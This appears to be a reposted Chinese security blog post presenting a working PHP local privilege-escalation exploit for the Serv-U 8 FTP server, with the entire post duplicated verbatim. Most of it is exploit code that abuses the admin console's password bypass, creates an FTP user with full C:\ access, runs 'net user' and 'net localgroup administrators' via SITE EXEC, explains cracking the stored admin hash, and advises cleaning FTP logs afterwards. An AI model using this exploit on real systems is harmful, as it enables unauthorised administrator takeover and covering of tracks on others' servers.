Serv-U 8 本地提權
看cnbeta發現su出8這個版本了。
想想以前寫過一個7的本地提權。
不知道8有什麼安全方面的更改。
下載來研究下,發現居然還是可以提權的,只是su7的那個不能直接用,稍微修改了下執行的流程。
Su8的管理平臺是http的,繼承了su7的方式。
抓包,分析,發現了以下路程是可以利用的。
1, 管理員從管理控制檯打開web頁面時,是不需要驗證密碼的。
2, 管理員如果用某URL打開web頁面時,雖然需要輸入密碼,但是無論輸入什麼,都可以進入。“/?Session=39893&Language=zh,CN&LocalAdmin=1”
3, 管理員可以添加用戶有兩種,一種是全局用戶,一種是某個域下的用戶。而權限設置也是兩種,一種是全局,一種是針對用戶。
4, 管理員添加了用戶的這個包和設置權限這個包,是分開的。
所以,我可以抓包然後轉換成php的socket連接post出去。
最後在用經典的ftp登陸,exec命令。達到提權。
前面su7已經說了很多,這裏簡單的說下好了。
.....登陸什麼的。
1,獲取ID。
2,給這個id添加權限。
3,給這個id賦予用戶名,密碼,目錄,權限。
4,登陸後執行系統命令。
這段代碼是不能直接當工具使用的。
<*來源:kxlzx(www.inbreak.net)
*>
測試方法:
以下程序(方法)可能帶有***性,僅供安全研究與教學之用。使用者風險自負!
PHP代碼
<?
/*
serv-u 8 local exp ver 1.0
如果你在自己的服務器上發現這個文件,厄。。。那太遺憾了,別來找我。
這個文件到處都是,人人都能拿到。
*/
?>
<html>
<title>Serv-u 8 local exp ver 1.0</title>
<body>
<script>
function fun_showDiv(show)
{
document.getElementById(show).style.display="block";
}
</script>
<b>Serv-u 8 local exp ver 1.0</b>
<form id="form1" name="form1" method="post" action="?">
<p><a href="#"
<input type="text" name="admin_pwd" value="" />
</p>
<p>直接提權!
<input type="submit" name="cmd" value="提權" />
<a href="#"
</p>
<pre>
<?
//Global var
$port=43958;
$host="127.0.0.1";
$sessionid="";
$getuserid="";
$ftpport=21;
$ftpuser="lalala_hacked";
$ftppwd=$_POST['admin_pwd'];
$exec_addUser="site exec c:/windows/system32/net.exe user ".$ftpuser." ".$ftppwd." /add";
$exec_addGroup="site exec c:/windows/system32/net.exe localgroup administrators ".$ftpuser." /add";
if($_POST['cmd']) {
//login-----------------------------------------
$sock_login = fsockopen($host, $port);
$URL='/Web%20Client/Login.xml?Command=Login&Sync=1543543543543543';
$post_data_login['user'] = "";
$post_data_login['pword'] = $ftppwd;
$post_data_login['language'] = "zh%2CCN&";
$ref="http://".$host.":".$port."/?Session=39893&Language=zh,CN&LocalAdmin=1";
$postStr = createRequest($port,$host,$URL,$post_data_login,$sessionid,$ref);
fputs($sock_login, $postStr);
$result = fread($sock_login, 1280);
$sessionid = getmidstr("<sessionid>","</sessionid>",$result);
if ($sessionid!="")
echo "登陸成功!";
fclose($sock_login);
//login-----------------------------------------
//getOrganizationId-------------------------------
$OrganizationId="";
$sock_OrganizationId = fsockopen($host, $port);
$URL='/Admin/ServerUsers.htm?Page=1';
$postStr = createRequest($port,$host,$URL,"",$sessionid,"");
fputs($sock_OrganizationId, $postStr);
$resultOrganizationId="";
while(!feof($sock_OrganizationId)) {
$result = fread($sock_OrganizationId, 1024);
$resultOrganizationId=$resultOrganizationId.$result;
}
$strTmp = "OrganizationUsers.xml&ID=";
$OrganizationId = substr($resultOrganizationId,strpos($resultOrganizationId,$strTmp)+strlen($strTmp),strlen($strTmp)+15);
$OrganizationId = substr($OrganizationId,0,strpos($OrganizationId,"\""));
fclose($sock_OrganizationId);
if ($OrganizationId!="")
echo "獲取OrganizationId".$OrganizationId."成功!";
//getOrganizationId-------------------------------
//getuserid---------------------------------------
$getuserid="";
$sock_getuserid = fsockopen($host, $port);
$URL="/Admin/XML/User.xml?Command=AddObject&Object=COrganization.".$OrganizationId.".User&Temp=1&
Sync=546666666666666663";
$ref="http://".$host.":".$port."/Admin/ServerUsers.htm?Page=1";
$post_data_getuserid="";
$postStr = createRequest($port,$host,$URL,$post_data_getuserid,$sessionid,$ref);
fputs($sock_getuserid, $postStr);
$result = fread($sock_getuserid, 1280);
$result = getmidstr("<var name=\"ObjectID\" val=\"","\" />",$result);
fclose($sock_getuserid);
$getuserid = $result;
if ($getuserid!="")
echo "獲取用戶ID".$getuserid."成功!";
//getuserid---------------------------------------
//addpower-----------------------------------------
$sock_addpower = fsockopen($host, $port);
$URL="/Admin/XML/Result.xml?Command=AddObject&Object=CUser.".$getuserid.".DirAccess&Sync=1227081437828";
$post_data_addpower['Access'] = "7999";
$post_data_addpower['MaxSize'] = "0";
$post_data_addpower['Dir'] = "c:\\";
$post_data_addpower['undefined'] = "undefined";
$postStr = createRequest($port,$host,$URL,$post_data_addpower,$sessionid,"http://127.0.0.1".":".$port."/Admin/ServerUsers.htm?Page=1");
fputs($sock_addpower, $postStr,strlen($postStr));
$result = fread($sock_addpower, 1280);
fclose($sock_addpower);
echo "添加權限成功!";
//addpower-----------------------------------------
//adduser-----------------------------------------
$sock_adduser = fsockopen($host, $port);
$URL="/Admin/XML/Result.xml?Command=UpdateObject&Object=COrganization.".$OrganizationId.".User.".$getuserid."&
Sync=1227071190250";
$post_data_adduser['LoginID'] = $ftpuser;
$post_data_adduser['FullName'] = "";
$post_data_adduser['Password'] = 'hahaha';
$post_data_adduser['ComboPasswordType'] = "%E5%B8%B8%E8%A7%84%E5%AF%86%E7%A0%81";
$post_data_adduser['PasswordType'] = "0";
$post_data_adduser['ComboAdminType'] = "%E6%97%A0%E6%9D%83%E9%99%90";
$post_data_adduser['AdminType'] = "";
$post_data_adduser['ComboHomeDir'] = "/c:";
$post_data_adduser['HomeDir'] = "/c:";
$post_data_adduser['ComboType'] = "%E6%B0%B8%E4%B9%85%E5%B8%90%E6%88%B7";
$post_data_adduser['Type'] = "0";
$post_data_adduser['ExpiresOn'] = "0";
$post_data_adduser['ComboWebClientStartupMode'] = "%E6%8F%90%E7%A4%BA%E7%94%A8%E6%88%B7%E4%BD%BF%E7%94%A8%E4%BD%95%E7%A7%8D%E5%AE%A2%E6%88%B7%E7%AB%AF";
$post_data_adduser['WebClientStartupMode'] = "";
$post_data_adduser['LockInHomeDir'] = "0";
$post_data_adduser['Enabled'] = "1";
$post_data_adduser['AlwaysAllowLogin'] = "1";
$post_data_adduser['Description'] = "";
$post_data_adduser['IncludeRespCodesInMsgFiles'] = "";
$post_data_adduser['ComboSignOnMessageFilePath'] = "";
$post_data_adduser['SignOnMessageFilePath'] = "";
$post_data_adduser['SignOnMessage'] = "";
$post_data_adduser['SignOnMessageText'] = "";
$post_data_adduser['ComboLimitType'] = "%E8%BF%9E%E6%8E%A5";
$post_data_adduser['LimitType'] = "Connection";
$post_data_adduser['QuotaBytes'] = "0";
$post_data_adduser['Quota'] = "0";
$post_data_adduser['Access'] = "7999";
$post_data_adduser['MaxSize'] = "0";
$post_data_adduser['Dir'] = "%25HOME%25";
$postStr = createRequest($port,$host,$URL,$post_data_adduser,$sessionid,"http://127.0.0.1".":".$port."/Admin/ServerUsers.htm?Page=1");
fputs($sock_adduser, $postStr,strlen($postStr));
$result = fread($sock_adduser, 1280);
fclose($sock_adduser);
echo "添加用戶成功!";
//adduser-----------------------------------------
//exec-------------------------------
$sock_exec = fsockopen("127.0.0.1", $ftpport, &$errno, &$errstr, 10);
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = "USER ".$ftpuser."";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = "PASS hahaha";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = $exec_addUser."";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fread($sock_exec, 1024);
echo "執行".$exec_addUser."返回了$recvbuf";
fclose($sock_exec);
$sock_exec = fsockopen("127.0.0.1", $ftpport, &$errno, &$errstr, 10);
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = "USER ".$ftpuser."";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = "PASS hahaha";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = $exec_addGroup."";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fread($sock_exec, 1024);
echo "執行".$exec_addGroup."返回了$recvbuf";
fclose($sock_exec);
echo "好了,自己3389上去清理ftp用戶日誌吧!";
//exec-------------------------------
}
/** function createRequest
@port_post : administrator port $port=43958;
@host_post : host $host="127.0.0.1";
@URL_post : target $URL='/Web%20Client/Login.xml?Command=Login&Sync=1543543543543543';
@post_data_post : arraylist $post_data['user'] = "";...
@return httprequest string
*/
function createRequest($port_post,$host_post,$URL_post,$post_data_post,$sessionid,$referer){
$data_string="";
if ($post_data_post!="")
{
foreach($post_data_post as $key=>$value)
{
$values[]="$key=".urlencode($value);
}
$data_string=implode("",$values);
}
$request.="POST ".$URL_post." HTTP/1.1";
$request.="Host: ".$host_post."";
$request.="Referer: ".$referer."";
$request.="Content-type: application/x-www-form-urlencoded";
$request.="Content-length: ".strlen($data_string)."";
$request.="User-Agent: Serv-U";
$request.="x-user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)";
$request.="Accept: */*";
$request.="Cache-Contr no-cache";
$request.="UA-CPU: x86";
if ($sessionid!="")
{
$request.="Cookie: Session=".$sessionid."";
}
$request.="";
$request.=$data_string."";
return $request;
}
//getMidfor2str copy from internet
function getmidstr($L,$R,$str)
{
$int_l=strpos($str,$L);
$int_r=strpos($str,$R);
If ($int_l>-1&&$int_l>-1)
{
$str_put=substr($str,$int_l+strlen($L),($int_r-$int_l-strlen($L)));
return $str_put;
}
else
return "沒找到需要的變量";
}
?>
</pre>
</form>
<div id="adminpassdiv" style="display:none">
<pre>
默認爲空,如果密碼爲空,<b>填什麼都能進去。</b>
如果修改過,管理員密碼默認會在這裏:
<b>C:\Program Files\RhinoSoft.com\Serv-U\Users\Local Administrator Domain\.Archive</b>
文件中找到一個MD5密碼值。
C:\Program Files\RhinoSoft.com\Serv-U
是su的根目錄。
密碼值的樣式爲(假設是123456)
kx#######################
#代表123456的32位MD5加密,而kx則是su對md5的密碼算法改進的隨機2位字符。
破解後的密碼爲<b>kx</b>123456,去掉kx就是密碼了。
你可以針對這個加密生成字典。
</pre>
</div>
<div id="QAdiv" style="display:none">
<pre>
<b>提權的原理?</b>
Su8的管理平臺是http的,繼承了su7的方式。
抓包,分析,發現了以下路程是可以利用的。
1, 管理員從管理控制檯打開web頁面時,是不需要驗證密碼的。
2, 管理員如果用某URL打開web頁面時,雖然需要輸入密碼,但是無論輸入什麼,都可以進入。“/?Session=39893&Language=zh,CN&LocalAdmin=1”
3, 管理員可以添加用戶有兩種,一種是全局用戶,一種是某個域下的用戶。而權限設置也是兩種,一種是全局,一種是針對用戶。
4, 管理員添加了用戶的這個包和設置權限這個包,是分開的。
所以,我可以抓包然後轉換成php的socket連接post出去。
最後在用經典的ftp登陸,exec命令。達到提權。
前面su7已經說了很多,這裏簡單的說下好了。
.....登陸什麼的。
1,獲取ID。
2,給這個id添加權限。
3,給這個id賦予用戶名,密碼,目錄,權限。
4,登陸後執行系統命令。
<b>爲啥我明明顯示成功了,但是卻提不上去?</b>
這要看錯誤代碼了,這裏偶很慚愧,並沒有寫詳細的錯誤代碼判斷。
一般有以下幾種情況:
1,可能是因爲管理員密碼不對。
參照管理員密碼的連接。
2,可能是因爲管理員限制了執行SITE EXEC。
有待程序修改,程序可以加一個讓他不限制的功能。
3,可能是程序問題。
</pre>
</div>
</body>
</html>
建議:
目前廠商沒有任何補丁,要不大家再等等?
不過以前SU7本地溢出推出來,也沒見到什麼動靜。-_-!
先把本地管理密碼改複雜點應付着吧。
想想以前寫過一個7的本地提權。
不知道8有什麼安全方面的更改。
下載來研究下,發現居然還是可以提權的,只是su7的那個不能直接用,稍微修改了下執行的流程。
Su8的管理平臺是http的,繼承了su7的方式。
抓包,分析,發現了以下路程是可以利用的。
1, 管理員從管理控制檯打開web頁面時,是不需要驗證密碼的。
2, 管理員如果用某URL打開web頁面時,雖然需要輸入密碼,但是無論輸入什麼,都可以進入。“/?Session=39893&Language=zh,CN&LocalAdmin=1”
3, 管理員可以添加用戶有兩種,一種是全局用戶,一種是某個域下的用戶。而權限設置也是兩種,一種是全局,一種是針對用戶。
4, 管理員添加了用戶的這個包和設置權限這個包,是分開的。
所以,我可以抓包然後轉換成php的socket連接post出去。
最後在用經典的ftp登陸,exec命令。達到提權。
前面su7已經說了很多,這裏簡單的說下好了。
.....登陸什麼的。
1,獲取ID。
2,給這個id添加權限。
3,給這個id賦予用戶名,密碼,目錄,權限。
4,登陸後執行系統命令。
這段代碼是不能直接當工具使用的。
<*來源:kxlzx(www.inbreak.net)
*>
測試方法:
以下程序(方法)可能帶有***性,僅供安全研究與教學之用。使用者風險自負!
PHP代碼
<?
/*
serv-u 8 local exp ver 1.0
如果你在自己的服務器上發現這個文件,厄。。。那太遺憾了,別來找我。
這個文件到處都是,人人都能拿到。
*/
?>
<html>
<title>Serv-u 8 local exp ver 1.0</title>
<body>
<script>
function fun_showDiv(show)
{
document.getElementById(show).style.display="block";
}
</script>
<b>Serv-u 8 local exp ver 1.0</b>
<form id="form1" name="form1" method="post" action="?">
<p><a href="#"
<input type="text" name="admin_pwd" value="" />
</p>
<p>直接提權!
<input type="submit" name="cmd" value="提權" />
<a href="#"
</p>
<pre>
<?
//Global var
$port=43958;
$host="127.0.0.1";
$sessionid="";
$getuserid="";
$ftpport=21;
$ftpuser="lalala_hacked";
$ftppwd=$_POST['admin_pwd'];
$exec_addUser="site exec c:/windows/system32/net.exe user ".$ftpuser." ".$ftppwd." /add";
$exec_addGroup="site exec c:/windows/system32/net.exe localgroup administrators ".$ftpuser." /add";
if($_POST['cmd']) {
//login-----------------------------------------
$sock_login = fsockopen($host, $port);
$URL='/Web%20Client/Login.xml?Command=Login&Sync=1543543543543543';
$post_data_login['user'] = "";
$post_data_login['pword'] = $ftppwd;
$post_data_login['language'] = "zh%2CCN&";
$ref="http://".$host.":".$port."/?Session=39893&Language=zh,CN&LocalAdmin=1";
$postStr = createRequest($port,$host,$URL,$post_data_login,$sessionid,$ref);
fputs($sock_login, $postStr);
$result = fread($sock_login, 1280);
$sessionid = getmidstr("<sessionid>","</sessionid>",$result);
if ($sessionid!="")
echo "登陸成功!";
fclose($sock_login);
//login-----------------------------------------
//getOrganizationId-------------------------------
$OrganizationId="";
$sock_OrganizationId = fsockopen($host, $port);
$URL='/Admin/ServerUsers.htm?Page=1';
$postStr = createRequest($port,$host,$URL,"",$sessionid,"");
fputs($sock_OrganizationId, $postStr);
$resultOrganizationId="";
while(!feof($sock_OrganizationId)) {
$result = fread($sock_OrganizationId, 1024);
$resultOrganizationId=$resultOrganizationId.$result;
}
$strTmp = "OrganizationUsers.xml&ID=";
$OrganizationId = substr($resultOrganizationId,strpos($resultOrganizationId,$strTmp)+strlen($strTmp),strlen($strTmp)+15);
$OrganizationId = substr($OrganizationId,0,strpos($OrganizationId,"\""));
fclose($sock_OrganizationId);
if ($OrganizationId!="")
echo "獲取OrganizationId".$OrganizationId."成功!";
//getOrganizationId-------------------------------
//getuserid---------------------------------------
$getuserid="";
$sock_getuserid = fsockopen($host, $port);
$URL="/Admin/XML/User.xml?Command=AddObject&Object=COrganization.".$OrganizationId.".User&Temp=1&
Sync=546666666666666663";
$ref="http://".$host.":".$port."/Admin/ServerUsers.htm?Page=1";
$post_data_getuserid="";
$postStr = createRequest($port,$host,$URL,$post_data_getuserid,$sessionid,$ref);
fputs($sock_getuserid, $postStr);
$result = fread($sock_getuserid, 1280);
$result = getmidstr("<var name=\"ObjectID\" val=\"","\" />",$result);
fclose($sock_getuserid);
$getuserid = $result;
if ($getuserid!="")
echo "獲取用戶ID".$getuserid."成功!";
//getuserid---------------------------------------
//addpower-----------------------------------------
$sock_addpower = fsockopen($host, $port);
$URL="/Admin/XML/Result.xml?Command=AddObject&Object=CUser.".$getuserid.".DirAccess&Sync=1227081437828";
$post_data_addpower['Access'] = "7999";
$post_data_addpower['MaxSize'] = "0";
$post_data_addpower['Dir'] = "c:\\";
$post_data_addpower['undefined'] = "undefined";
$postStr = createRequest($port,$host,$URL,$post_data_addpower,$sessionid,"http://127.0.0.1".":".$port."/Admin/ServerUsers.htm?Page=1");
fputs($sock_addpower, $postStr,strlen($postStr));
$result = fread($sock_addpower, 1280);
fclose($sock_addpower);
echo "添加權限成功!";
//addpower-----------------------------------------
//adduser-----------------------------------------
$sock_adduser = fsockopen($host, $port);
$URL="/Admin/XML/Result.xml?Command=UpdateObject&Object=COrganization.".$OrganizationId.".User.".$getuserid."&
Sync=1227071190250";
$post_data_adduser['LoginID'] = $ftpuser;
$post_data_adduser['FullName'] = "";
$post_data_adduser['Password'] = 'hahaha';
$post_data_adduser['ComboPasswordType'] = "%E5%B8%B8%E8%A7%84%E5%AF%86%E7%A0%81";
$post_data_adduser['PasswordType'] = "0";
$post_data_adduser['ComboAdminType'] = "%E6%97%A0%E6%9D%83%E9%99%90";
$post_data_adduser['AdminType'] = "";
$post_data_adduser['ComboHomeDir'] = "/c:";
$post_data_adduser['HomeDir'] = "/c:";
$post_data_adduser['ComboType'] = "%E6%B0%B8%E4%B9%85%E5%B8%90%E6%88%B7";
$post_data_adduser['Type'] = "0";
$post_data_adduser['ExpiresOn'] = "0";
$post_data_adduser['ComboWebClientStartupMode'] = "%E6%8F%90%E7%A4%BA%E7%94%A8%E6%88%B7%E4%BD%BF%E7%94%A8%E4%BD%95%E7%A7%8D%E5%AE%A2%E6%88%B7%E7%AB%AF";
$post_data_adduser['WebClientStartupMode'] = "";
$post_data_adduser['LockInHomeDir'] = "0";
$post_data_adduser['Enabled'] = "1";
$post_data_adduser['AlwaysAllowLogin'] = "1";
$post_data_adduser['Description'] = "";
$post_data_adduser['IncludeRespCodesInMsgFiles'] = "";
$post_data_adduser['ComboSignOnMessageFilePath'] = "";
$post_data_adduser['SignOnMessageFilePath'] = "";
$post_data_adduser['SignOnMessage'] = "";
$post_data_adduser['SignOnMessageText'] = "";
$post_data_adduser['ComboLimitType'] = "%E8%BF%9E%E6%8E%A5";
$post_data_adduser['LimitType'] = "Connection";
$post_data_adduser['QuotaBytes'] = "0";
$post_data_adduser['Quota'] = "0";
$post_data_adduser['Access'] = "7999";
$post_data_adduser['MaxSize'] = "0";
$post_data_adduser['Dir'] = "%25HOME%25";
$postStr = createRequest($port,$host,$URL,$post_data_adduser,$sessionid,"http://127.0.0.1".":".$port."/Admin/ServerUsers.htm?Page=1");
fputs($sock_adduser, $postStr,strlen($postStr));
$result = fread($sock_adduser, 1280);
fclose($sock_adduser);
echo "添加用戶成功!";
//adduser-----------------------------------------
//exec-------------------------------
$sock_exec = fsockopen("127.0.0.1", $ftpport, &$errno, &$errstr, 10);
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = "USER ".$ftpuser."";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = "PASS hahaha";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = $exec_addUser."";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fread($sock_exec, 1024);
echo "執行".$exec_addUser."返回了$recvbuf";
fclose($sock_exec);
$sock_exec = fsockopen("127.0.0.1", $ftpport, &$errno, &$errstr, 10);
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = "USER ".$ftpuser."";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = "PASS hahaha";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fgets($sock_exec, 1024);
$sendbuf = $exec_addGroup."";
fputs($sock_exec, $sendbuf, strlen($sendbuf));
$recvbuf = fread($sock_exec, 1024);
echo "執行".$exec_addGroup."返回了$recvbuf";
fclose($sock_exec);
echo "好了,自己3389上去清理ftp用戶日誌吧!";
//exec-------------------------------
}
/** function createRequest
@port_post : administrator port $port=43958;
@host_post : host $host="127.0.0.1";
@URL_post : target $URL='/Web%20Client/Login.xml?Command=Login&Sync=1543543543543543';
@post_data_post : arraylist $post_data['user'] = "";...
@return httprequest string
*/
function createRequest($port_post,$host_post,$URL_post,$post_data_post,$sessionid,$referer){
$data_string="";
if ($post_data_post!="")
{
foreach($post_data_post as $key=>$value)
{
$values[]="$key=".urlencode($value);
}
$data_string=implode("",$values);
}
$request.="POST ".$URL_post." HTTP/1.1";
$request.="Host: ".$host_post."";
$request.="Referer: ".$referer."";
$request.="Content-type: application/x-www-form-urlencoded";
$request.="Content-length: ".strlen($data_string)."";
$request.="User-Agent: Serv-U";
$request.="x-user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)";
$request.="Accept: */*";
$request.="Cache-Contr no-cache";
$request.="UA-CPU: x86";
if ($sessionid!="")
{
$request.="Cookie: Session=".$sessionid."";
}
$request.="";
$request.=$data_string."";
return $request;
}
//getMidfor2str copy from internet
function getmidstr($L,$R,$str)
{
$int_l=strpos($str,$L);
$int_r=strpos($str,$R);
If ($int_l>-1&&$int_l>-1)
{
$str_put=substr($str,$int_l+strlen($L),($int_r-$int_l-strlen($L)));
return $str_put;
}
else
return "沒找到需要的變量";
}
?>
</pre>
</form>
<div id="adminpassdiv" style="display:none">
<pre>
默認爲空,如果密碼爲空,<b>填什麼都能進去。</b>
如果修改過,管理員密碼默認會在這裏:
<b>C:\Program Files\RhinoSoft.com\Serv-U\Users\Local Administrator Domain\.Archive</b>
文件中找到一個MD5密碼值。
C:\Program Files\RhinoSoft.com\Serv-U
是su的根目錄。
密碼值的樣式爲(假設是123456)
kx#######################
#代表123456的32位MD5加密,而kx則是su對md5的密碼算法改進的隨機2位字符。
破解後的密碼爲<b>kx</b>123456,去掉kx就是密碼了。
你可以針對這個加密生成字典。
</pre>
</div>
<div id="QAdiv" style="display:none">
<pre>
<b>提權的原理?</b>
Su8的管理平臺是http的,繼承了su7的方式。
抓包,分析,發現了以下路程是可以利用的。
1, 管理員從管理控制檯打開web頁面時,是不需要驗證密碼的。
2, 管理員如果用某URL打開web頁面時,雖然需要輸入密碼,但是無論輸入什麼,都可以進入。“/?Session=39893&Language=zh,CN&LocalAdmin=1”
3, 管理員可以添加用戶有兩種,一種是全局用戶,一種是某個域下的用戶。而權限設置也是兩種,一種是全局,一種是針對用戶。
4, 管理員添加了用戶的這個包和設置權限這個包,是分開的。
所以,我可以抓包然後轉換成php的socket連接post出去。
最後在用經典的ftp登陸,exec命令。達到提權。
前面su7已經說了很多,這裏簡單的說下好了。
.....登陸什麼的。
1,獲取ID。
2,給這個id添加權限。
3,給這個id賦予用戶名,密碼,目錄,權限。
4,登陸後執行系統命令。
<b>爲啥我明明顯示成功了,但是卻提不上去?</b>
這要看錯誤代碼了,這裏偶很慚愧,並沒有寫詳細的錯誤代碼判斷。
一般有以下幾種情況:
1,可能是因爲管理員密碼不對。
參照管理員密碼的連接。
2,可能是因爲管理員限制了執行SITE EXEC。
有待程序修改,程序可以加一個讓他不限制的功能。
3,可能是程序問題。
</pre>
</div>
</body>
</html>
建議:
目前廠商沒有任何補丁,要不大家再等等?
不過以前SU7本地溢出推出來,也沒見到什麼動靜。-_-!
先把本地管理密碼改複雜點應付着吧。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.